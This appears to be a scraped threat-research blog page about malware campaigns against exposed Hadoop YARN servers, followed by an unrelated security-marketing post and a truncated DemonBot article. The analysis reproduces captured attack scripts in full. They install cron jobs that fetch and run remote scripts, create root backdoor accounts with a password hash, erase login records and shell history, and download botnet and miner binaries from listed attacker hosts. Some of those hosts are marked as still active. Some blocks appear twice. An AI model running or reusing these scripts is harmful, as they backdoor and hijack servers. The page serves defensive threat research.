This campaign consists of a set of shell scripts which deletes system and other user accounts from a compromised server and creates two backdoor accounts with root privileges.

The backdoor account user names are ‘VM’ and ‘localhost’ and both have their password set to the hash ‘$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1’.

http://prax0zma.ru/8.sh
$ cat 8.sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://prax0zma.ru/8.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://prax0zma.ru/8.sh | sh" >> /var/spool/cron/root
#echo "0 * * * * pkill -9 r" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://prax0zma.ru/8.sh | /bin/sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://prax0zma.ru/8.sh | /bin/sh" >> /var/spool/cron/crontabs/root
#echo "0 * * * * pkill -9 r" >> /var/spool/cron/crontabs/root

cd /boot ; wget -q http://hehe.suckmyass.cf/.o -O .b; chmod +x .b; nohup ./.b  >/dev/null 2>&1
cd /boot ; curl -O http://hehe.suckmyass.cf/.o ; chmod +x .o; nohup ./.o  >/dev/null 2>&1
#cd /tmp ; curl -O http://sandbotc2.ml/fefe | wget -q http://sandbotc2.ml/fefe ; chmod +x fefe; ./fefe ; rm -rf fefe*; >/dev/null 2>&1
echo 128 > /proc/sys/vm/nr_hugepages
sysctl -w vm.nr_hugepages=128
    ulimit -n 65000
    ulimit -u 65000

mkdir -p /tmp/.ha/

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    curl -fsSL http://prax0zma.ru/bash -o /tmp/.ha/nsyhs
fi

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    wget -q http://prax0zma.ru/bash -O /tmp/.ha/nsyhs
fi

chmod +x /tmp/.ha/nsyhs && /tmp/.ha/nsyhs
http://hehe.suckmyass.cf/.o 
$ cat .o
cd /boot ; wget -q http://r00ts.truthdealmodz.pw/.i -O .0; chmod +x .0; nohup ./.0  >/dev/null 2>&1 ; rm -rf .0
cd /boot ; curl -O http://r00ts.truthdealmodz.pw/.i ; chmod +x .i; nohup ./.i  >/dev/null 2>&1 ; rm -rf .i
userdel -f bash >/dev/null 2>&1
userdel -f ssh >/dev/null 2>&1
userdel -f butter >/dev/null 2>&1
userdel -f r00t >/dev/null 2>&1
userdel -f axiga >/dev/null 2>&1
userdel -f cats >/dev/null 2>&1
userdel -f python >/dev/null 2>&1
userdel -f Word >/dev/null 2>&1
userdel -f fxmeless >/dev/null 2>&1
userdel -f yandex >/dev/null 2>&1
userdel -f synx >/dev/null 2>&1
userdel -f syncs >/dev/null 2>&1
userdel -f oracles >/dev/null 2>&1
userdel -f cubes >/dev/null 2>&1
userdel -f wwww >/dev/null 2>&1
userdel -f http  >/dev/null 2>&1
userdel -f R00T  >/dev/null 2>&1
userdel -f z  >/dev/null 2>&1
userdel -f r000t  >/dev/null 2>&1
userdel -f ssshd  >/dev/null 2>&1
userdel -f vps  >/dev/null 2>&1
userdel -f Duck >/dev/null 2>&1
userdel -f x >/dev/null 2>&1
userdel -f redisserver >/dev/null 2>&1
userdel -f admins >/dev/null 2>&1
userdel -f halts >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
#rm -rf /tmp/.*
rm -rf /var/tmp/.z
rm -rf /tmp/.FILE
rm -rf /tmp/.xm
rm -rf /tmp/.iokb21
rm -rf /tmp/.bzc bzc.tgz*
rm -rf /var/tmp/.xm.log
pkill -9 56545
pkill -9 Word
pkill -9 "  "
pkill -9 xds
pkill -9 httpd.conf
pkill -9 yam
pkill -9 xd
pkill -9 .syslog
pkill -9 wipefs
pkill -9 " "
pkill -9 auditd
pkill -9 crondb
pkill -9 syn
pkill -9 xnetd
pkill -9 ld-linux-x86-64
pkill -9 xm64
pkill -9 xm32
pkill -9 kthreadd
pkill -9 watchdogs
pkill -9 xmrig64
pkill -9 xig
pkill -9 ps
pkill -9 minerd
pkill -9 smh64
pkill -9 system.usermn
pkill -9 skrt
pkill -9 .xm.log
pkill -9 zjgw
pkill -9 SSHer
pkill -9 SSher
pkill -9 xm
pkill -f ld-linux-x86-64
pkill -f xm64
pkill -f xm32
pkill -f xig
pkill -f minerd
pkill -f ps
pkill -f .xm
/etc/init.d/crond start
service crond start
iptables -I INPUT -s 185.234.217.11 -j DROP
iptables -A INPUT -s 185.234.217.11 -j REJECT cd /boot ; wget -q http://hehe.suckmyass.cf/.o -O .b; chmod +x .b; nohup ./.b  >/dev/null 2>&1
cd /boot ; curl -O http://hehe.suckmyass.cf/.o ; chmod +x .o; nohup ./.o  >/dev/null 2>&1
#cd /tmp ; curl -O http://sandbotc2.ml/fefe | wget -q http://sandbotc2.ml/fefe ; chmod +x fefe; ./fefe ; rm -rf fefe*; >/dev/null 2>&1
echo 128 > /proc/sys/vm/nr_hugepages
sysctl -w vm.nr_hugepages=128
    ulimit -n 65000
    ulimit -u 65000

mkdir -p /tmp/.ha/

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    curl -fsSL http://prax0zma.ru/bash -o /tmp/.ha/nsyhs
fi

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    wget -q http://prax0zma.ru/bash -O /tmp/.ha/nsyhs
fi

chmod +x /tmp/.ha/nsyhs && /tmp/.ha/nsyhs
http://r00ts.truthdealmodz.pw/.i 
$ cat .i
#!/bin/bash

useradd -u 0 -g 0 -o -l -d /root -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.hourly/0;chmod +x /etc/cron.hourly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.daily/0;chmod +x /etc/cron.daily/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.weekly/0;chmod +x /etc/cron.weekly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.monthly/0;chmod 777 /etc/cron.monthly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/rc.local;chmod +x /etc/rc.local;
head -c -384 /var/log/wtmp > .wtmp; mv .wtmp /var/log/wtmp; chmod 664 /var/log/wtmp; chown root:utmp /var/log/wtmp; chmod 777 /etc/cron.*/* ;
history -c;
unset history;history -w

A Malware Zoo

The Hadoop YARN exploits in table (*1) provided for a real Linux IoT malware zoo – most of the binaries are Mirai- related – not to our surprise…

Links that are still active:

http://167.88.161.40/yarn.x86
  2eab746dea07b3b27fb6582ee100a7ee732d7980012652da6d705f4e90c4196b  yarn.x86
http://185.244.25.150/bins/otaku.x86
  34ee8efb22814660dd7d2a4d1219b73fd1a2c4ba63ef99020f135980551419b5  otaku.x86
http://185.244.25.163/8x868
  a5beb685f7847009485b94cc7f91eb16254ccd681c60cec5928f5a22c23acb55  8x868
http://185.244.25.222/x86
  4b18997cc8fa26092d3b6de7fce637a4bc80a9c35997248035208144108c6ebd  x86
http://185.244.25.251/x86
  33f54d0afccfdc0a8b0428d7a1fca20079fe760b21e3750e31a8cba1b862e104  x86
http://167.99.51.231/x86
  83777b500163259e9e1b7a4801b5c3ad48708511b1c2b7573e344985011396c6  x86
http://46.17.47.198/bins/kowai.x86 
  1a447b4e33474e693517a5a1b26e18c5a0dc8de3e92b57f2402f098218327c60  kowai.x86

http://94.177.231.48/sh
$ cat sh
#!/bin/sh

binarys="mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc"
server_ip="94.177.231.48"
binname="miori"
execname="loliloli"

for arch in $binarys
do
    cd /tmp
    wget http://$server_ip/$binname.$arch -O $execname
	#tftp -g -l $execname -r $binname.$arch $server_ip
	chmod 777 $execname
    ./$execname
	rm -rf $execname
done
$ wget http://94.177.231.48/miori.x86 

8e7e65105dfa629d695f63c41378f9f10112641a8f5bb9987b1a69b2c7336254  miori.x86

http://46.29.165.143/fearless.sh
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessntpd; chmod +x fearlessntpd; ./fearlessntpd; rm -rf fearlessntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssshd; chmod +x fearlesssshd; ./fearlesssshd; rm -rf fearlesssshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessopenssh; chmod +x fearlessopenssh; ./fearlessopenssh; rm -rf fearlessopenssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessbash; chmod +x fearlessbash; ./fearlessbash; rm -rf fearlessbash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstftp; chmod +x fearlesstftp; ./fearlesstftp; rm -rf fearlesstftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesswget; chmod +x fearlesswget; ./fearlesswget; rm -rf fearlesswget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesscron; chmod +x fearlesscron; ./fearlesscron; rm -rf fearlesscron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessftp; chmod +x fearlessftp; ./fearlessftp; rm -rf fearlessftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesspftp; chmod +x fearlesspftp; ./fearlesspftp; rm -rf fearlesspftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssh; chmod +x fearlesssh; ./fearlesssh; rm -rf fearlesssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessshit; chmod +x fearlessshit; ./fearlessshit; rm -rf fearlessshit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessapache2; chmod +x fearlessapache2; ./fearlessapache2; rm -rf fearlessapache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstelnetd; chmod +x fearlesstelnetd; ./fearlesstelnetd; rm -rf fearlesstelnetd

$ file fearlessapache2 
fearlessapache2: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

47ace06c5f36937a6d5f4369ea1980a91f570a6d9d9b144e7f5b3f4006316f57  fearlessapache2

http://167.88.161.40/yarn.x86
2eab746dea07b3b27fb6582ee100a7ee732d7980012652da6d705f4e90c4196b yarn.x86
http://185.244.25.150/bins/otaku.x86
34ee8efb22814660dd7d2a4d1219b73fd1a2c4ba63ef99020f135980551419b5 otaku.x86
http://185.244.25.163/8x868
a5beb685f7847009485b94cc7f91eb16254ccd681c60cec5928f5a22c23acb55 8x868
http://185.244.25.222/x86
4b18997cc8fa26092d3b6de7fce637a4bc80a9c35997248035208144108c6ebd x86
http://185.244.25.251/x86
33f54d0afccfdc0a8b0428d7a1fca20079fe760b21e3750e31a8cba1b862e104 x86
http://167.99.51.231/x86
83777b500163259e9e1b7a4801b5c3ad48708511b1c2b7573e344985011396c6 x86
http://46.17.47.198/bins/kowai.x86
1a447b4e33474e693517a5a1b26e18c5a0dc8de3e92b57f2402f098218327c60 kowai.x86
http://94.177.231.48/sh
$ cat sh
#!/bin/sh

binarys="mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc"
server_ip="94.177.231.48"
binname="miori"
execname="loliloli"

for arch in $binarys
do
    cd /tmp
    wget http://$server_ip/$binname.$arch -O $execname
	#tftp -g -l $execname -r $binname.$arch $server_ip
	chmod 777 $execname
    ./$execname
	rm -rf $execname
done
$ wget http://94.177.231.48/miori.x86 

8e7e65105dfa629d695f63c41378f9f10112641a8f5bb9987b1a69b2c7336254  miori.x86

http://46.29.165.143/fearless.sh
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessntpd; chmod +x fearlessntpd; ./fearlessntpd; rm -rf fearlessntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssshd; chmod +x fearlesssshd; ./fearlesssshd; rm -rf fearlesssshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessopenssh; chmod +x fearlessopenssh; ./fearlessopenssh; rm -rf fearlessopenssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessbash; chmod +x fearlessbash; ./fearlessbash; rm -rf fearlessbash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstftp; chmod +x fearlesstftp; ./fearlesstftp; rm -rf fearlesstftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesswget; chmod +x fearlesswget; ./fearlesswget; rm -rf fearlesswget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesscron; chmod +x fearlesscron; ./fearlesscron; rm -rf fearlesscron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessftp; chmod +x fearlessftp; ./fearlessftp; rm -rf fearlessftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesspftp; chmod +x fearlesspftp; ./fearlesspftp; rm -rf fearlesspftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssh; chmod +x fearlesssh; ./fearlesssh; rm -rf fearlesssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessshit; chmod +x fearlessshit; ./fearlessshit; rm -rf fearlessshit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessapache2; chmod +x fearlessapache2; ./fearlessapache2; rm -rf fearlessapache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstelnetd; chmod +x fearlesstelnetd; ./fearlesstelnetd; rm -rf fearlesstelnetd

$ file fearlessapache2 
fearlessapache2: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

47ace06c5f36937a6d5f4369ea1980a91f570a6d9d9b144e7f5b3f4006316f57  fearlessapache2

Links that are inactive as of this writing:

http://185.244.25.153/YSDKOP.x86 
http://68.183.96.48/bins/hoho.x86 
http://cnc.junoland.xyz/x86hua
http://194.147.35.63/bins/Kuran.x86
http://46.29.165.33/bins/kowai.x86 
http://167.88.161.40/bins/mydick 
http://188.138.100.8/ankit/jno.x86
http://67.205.128.131/oxy.x86
http://80.211.94.16/Nurasu.x86_64; 
http://46.36.37.121/weed.sh
http://142.93.152.247/8UsA.sh
</code/>

Compromised Servers

Knowing the exposed servers, we can assess the activity of that set of servers that were compromised by correlating the server IP with our global deception network activity. Less than 5% of the list of exposed servers overlapped with servers in our deception network and has been seen performing malicious activity. This 5% is not the full picture though, since there is convincing evidence of actors actively abusing the servers for mining cryptocurrencies and because there is no scanning or exploiting activity, these servers do not show up in our deception network. The amount of compromised servers from the potential 1065 is still an unknown, but it is safe to say that at some point, all of those will fall–or have already fallen–victim to malicious activities.

The below graph shows the activity per port of known compromised servers. The activities target TCP ports 23, 2323, 22, and 2222 which are representative for your run-of-the-mill IoT exploits through telnet and SSH credential brute forcing. The other notorious port 5555 is known for TR069 and ADB exploits on IoT vulnerable devices. In the past 7 days, we witnessed an increased scanning activity targeting port 23.

This Mirai-like port 23 scanning behavior was mostly originating from a single server, good for over 35,000 scanning events during the last 7 days. The other compromised servers were good for a couple of events during limited time ranges.

In terms of regional targeting by compromised servers, Germany took most of the hits.

When…Not If

Although there is clear evidence of DDoS capable botnets attempting to compromise Hadoop YARN exposed servers, there was no immediate evidence of DDoS activity by the compromised servers. This does not eliminate the possibility and potential of DDoS attacks, however. The attack surface is just a little over 1065 servers. Compared to IoT botnets, who can run in the hundreds of thousands of devices, this seems of little threat. However, Hadoop (and cloud servers in general) provides much better connectivity and far more compute resources compared to IoT devices; only a few of these servers in a botnet can cause severe disruption to online businesses.

For those that are operating Hadoop clusters, a publicly exposed YARN service can and will at some point be exploited and abused for cryptomining. Besides affecting stability and performance, cloud servers with elastic compute resources can have an economic impact on the victim because of the surge in resource utilization.

Do note that you cannot get away with publicly exposed services, it is not a matter of IF but a matter of WHEN your service will be compromised and abused. In today’s Internet, cloud servers can perform full internet port scans in minutes, and application vulnerability scans in less than a day. For those of you who are not convinced yet, pay a visit to one of the (IoT) search engines such as https://shodan.io or https://fofa.so, who on a daily basis scan and scrape internet connected devices. Just type ‘jetty’ in the search field of those search engines and witness how many servers are indexed and easily discovered within seconds.

(*1) Hadoop YARN Exploits

(*2) zz.sh script

#!/bin/bash
pkill -f donate
pkill -f proxkekman
pkill -f 158.69.133.18
pkill -f 192.99.142.246
pkill -f test.conf
pkill -f /var/tmp/apple
pkill -f /var/tmp/big
pkill -f /var/tmp/small
pkill -f /var/tmp/cat
pkill -f /var/tmp/dog
pkill -f /var/tmp/mysql
pkill -f /var/tmp/sishen
pkill -f ubyx
pkill -f /var/tmp/mysql
rm -rf /var/tmp/mysql
ps ax | grep java.conf | grep bin | awk '{print $1}' | xargs kill -9
ps ax|grep "./noda\|./manager"|grep sh|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./no1"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./uiiu"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./noss"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "8220"|grep -v grep | awk '{print $1}' | xargs kill -9
pkill -f cpu.c
pkill -f tes.conf
pkill -f psping
ps ax | grep cs.c | grep bin | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c cs" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c pcp" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c omo" | awk '{print $1}' | xargs kill -9
pkill -f /var/tmp/java-c
pkill -f pscf
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
ps aux | grep "/lib/systemd/systemd" | awk '{if($3>20.0) print $2}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
rm -rf /var/tmp/pscf*
rm -rf /tmp/pscf*
pkill -f ririg
rm -rf /var/tmp/ntpd
pkill -f /var/tmp/ntpd
rm -rf /var/tmp/ntp
pkill -f /var/tmp/ntp
rm -rf /var/tmp/qq
rm -rf /var/tmp/qq1
pkill -f /var/tmp/qq
rm -rf /tmp/qq
rm -rf /tmp/qq1
pkill -f /tmp/qq
pkill -f /var/tmp/aa
rm -rf /var/tmp/aa
rm -rf /var/tmp/gg
rm -rf /var/tmp/gg1
pkill -f gg1.conf
rm -rf /var/tmp/hh
rm -rf /var/tmp/hh1
pkill -f hh1.conf
pkill -f apaqi
rm -rf /var/tmp/apaqi
pkill -f dajiba
rm -rf /var/tmp/dajiba
pkill -f /var/tmp/look
rm -rf /var/tmp/look
pkill -f /var/tmp/nginx
rm -rf /var/tmp/nginx
rm -rf /var/tmp/dd
rm -rf /var/tmp/dd1
rm -rf /var/tmp/apple
pkill -f dd1.conf
pkill -f kkk1.conf
pkill -f ttt1.conf
pkill -f ooo1.conf
pkill -f ppp1.conf
pkill -f lll1.conf
pkill -f yyy1.conf
pkill -f 1111.conf
pkill -f 2221.conf
pkill -f dk1.conf
pkill -f kd1.conf
pkill -f mao1.conf
pkill -f YB1.conf
pkill -f 2Ri1.conf
pkill -f 3Gu1.conf
pkill -f crant
DIR="/tmp"
if [ -a "/tmp/java" ]
then
if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
then
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum /tmp/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
rm -rf /tmp/java
pkill -f w.conf
sleep 4
;;
esac
fi
echo "P OK"
else
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
else
if [ -d "/var/tmp" ]
then
DIR="/var/tmp"
fi
echo "P NOT EXISTS"
fi
if [ -d "/tmp/java" ]
then
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget -O";
fi
downloadIfNeed()
{
if [ -x "$(command -v md5sum)" ]
then
if [ ! -f $DIR/java ]; then
echo "File not found!"
download
fi
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
sizeBefore=$(du $DIR/java)
if [ -s /usr/bin/curl ];
then
WGET="curl -k -o ";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget --no-check-certificate -O ";
fi
echo "" > $DIR/tmp.txt
rm -rf $DIR/java
download
;;
esac
else
echo "No md5sum"
download
fi
}
download() {
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/pscf3 | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/pscf3 $DIR/java
;;
*)
echo "Java wrong"
download2
;;
esac
else
echo "No md5sum"
download2
fi
}
download2() {
$WGET $DIR/java https://bitbucket.org/zrundr42/mygit/raw/master/x_64
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/java $DIR/pscf3
;;
*)
echo "Java wrong"
;;
esac
else
echo "No md5sum"
fi
}
netstat -antp | grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
if [ "$(netstat -ant|grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ];
then
ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
do
kill -9 $procid
done
else
echo "Running"
fi
if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
downloadIfNeed
chmod +x $DIR/java
$WGET $DIR/w.conf https://bitbucket.org/zrundr42/mygit/raw/master/w.conf
nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
sleep 5
rm -rf $DIR/w.conf
else
echo "Running"
fi
if crontab -l | grep -q "46.249.38.186"
then
echo "Cron exists"
else
echo "Cron not found"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
(crontab -l 2>/dev/null; echo "* * * * * $LDR http://46.249.38.186/cr.sh | sh > /dev/null 2>&1")| crontab -
fi
pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
pkill -f jvs
pkill -f javs
pkill -f 192.99.142.248
rm -rf /tmp/pscd*
rm -rf /var/tmp/pscd*
crontab -l | sed '/202.144.193.167/d' | crontab -
crontab -l | sed '/192.99.142.232/d' | crontab -
crontab -l | sed '/8220/d' | crontab -
crontab -l | sed '/192.99.142.226/d' | crontab -
crontab -l | sed '/192.99.142.248/d' | crontab -
crontab -l | sed '/45.77.86.208/d' | crontab -
crontab -l | sed '/144.202.8.151/d' | crontab -
crontab -l | sed '/192.99.55.69/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
crontab -l | sed '/logo/d' | crontab -
crontab -l | sed '/tor2web/d' | crontab -
crontab -l | sed '/jpg/d' | crontab -
crontab -l | sed '/png/d' | crontab -
crontab -l | sed '/tmp/d' | crontab -

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now

Growing Your Business: Security as an Expectation

November 7, 2018 — by Mike O'Malley — 0

Who is responsible for my device and application security? This is a critical question in today’s growing threat landscape, and one without a clear answer. Despite increases in demands for mobile app and connected device security features, no key players—device manufacturers, consumers, mobile carriers or organizations that consumers do business with via devices—will take responsibility.

While this is certainly problematic, it also represents an opportunity to differentiate your business from competitors by baking security into your platform. Over 70% of C-suite executives report being greatly concerned about data privacy and 66% admit that their network is vulnerable to hacking. In light of this, security must be recognized and acknowledged beyond an add-on or premium feature; it must be treated as an integral feature for any business owner.

The True Cost of Data Insecurity

When security is included as a core component of a business, it strengthens customers’ perceptions of your company. In fact, security itself can be a key selling point that sways customers from competitors. Startups that especially integrate security as part of its foundational architecture have a competitive advantage over companies of all sizes that gloss over security or utilize it as an unsupported, unplanned add-on.

Indeed, security as an afterthought is a major, and potentially fatal, flaw during a company’s decision-making process. The average cost of a data breach is $3.9 million – an amount enough to put myriad companies in bankruptcy. But costs can be even higher. For example, Yahoo agreed to a settlement of $50 million following its 2013 data breach and had to pay an additional $37.5 million for attorney fees and expenses. And it didn’t end there; the original $4.83 billion deal to sell Yahoo’s digital services to Verizon was also discounted by $350 million as an added penalty for decreased brand value and to amend for other potential related costs. The true cost of a data breach? Far more than the current visible numbers.

Potential Growth Areas

Instead of approaching security as an extra, optional cost, business owners would do well to view security as a core capability for revenue; the growth potential for security as an integrated core strategy is enormous. Need proof? Just look at the numerous security vulnerabilities that accompany the constant onslaught of innovative hacking threats. Commonplace attacks, like IoT botnets, mobile APIs and malware, show no evidence of going away anytime soon and companies that are prone to system vulnerabilities are at risk. Even threats from a decade ago, such as Trojan malwares, and exploitation of vulnerabilities are still utilized as attacks, either in their original form or through modifications like malware botnet Mirai.

This is why companies shouldn’t wait for the “perfect” security product; delaying an investment in security only increases a company’s risk factor for being attacked and potentially dooms one to a constant game of catch up—and enormous costs. Conversely, by adding new applications within a secure business framework from the start, businesses can ensure optimal protection without any extreme added costs.

The sooner a business incorporates security as a core piece of the business puzzle, the better they’ll be at protecting and mitigating threats, and capturing new revenue opportunities.

Don’t let data seep through the cracks. Secure the customer experience now.

Read the “2018 C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts” to learn more.

Download Now

New DemonBot Discovered

October 25, 2018 — by Pascal Geenens — 30

Are you using Hadoop for data analytics? If so, know that a new bot is targeting Hadoop clusters with the intention of performing DDoS attacks powered by the strength of cloud infrastructure servers. Hadoop is an open source distributed processing framework that manages storage and data processing for big data applications running in clustered systems.

Radware Threat Research Center is monitoring and tracking a malicious agent that is leveraging a Hadoop YARN unauthenticated remote command execution in order to infect Hadoop clusters with an unsophisticated new bot that identifies itself as DemonBot.

DemonBot spreads only via central servers and does not expose worm-like behavior exhibited by Mirai based bots. As of today, Radware is tracking over 70 active exploit servers that are actively spreading DemonBot and are exploiting servers at an aggregated rate of over 1 Million exploits per day. Note that though we did not find any evidence that DemonBot is actively targeting IoT devices at this time, Demonbot is not limited to x86 Hadoop servers and is binary compatible with most known IoT devices, following the Mirai build principles.

It is not the first time that cloud infrastructure servers have been targeted. Earlier this month Security Researcher Ankit Anubhav discovered a hacker leveraging the same Hadoop Yarn bug in a Sora botnet variant. Hadoop clusters typically are very capable and stable platforms and can individually account for much larger volumes of DDoS traffic compared to IoT devices. The DDoS attack vectors supported by DemonBot are UDP and TCP floods.

Hadoop YARN Exploits

Radware Research has been tracking malicious actors exploiting a Hadoop YARN unauthenticated remote command execution for which proof of concept code was first published here in March of this year. YARN, Yet Another Resource Negotiator, is a prerequisite for Enterprise Hadoop and provides cluster resource management allowing multiple data processing engines to handle data stored in a single platform. YARN exposes a REST API which allows remote applications to submit new applications to the cluster. The exploit requires two steps:

Our deception network recorded repeated attempts for /ws/v1/cluster/apps/new-application, slowly starting end of September and growing to over 1 million attempts per day for most of October.

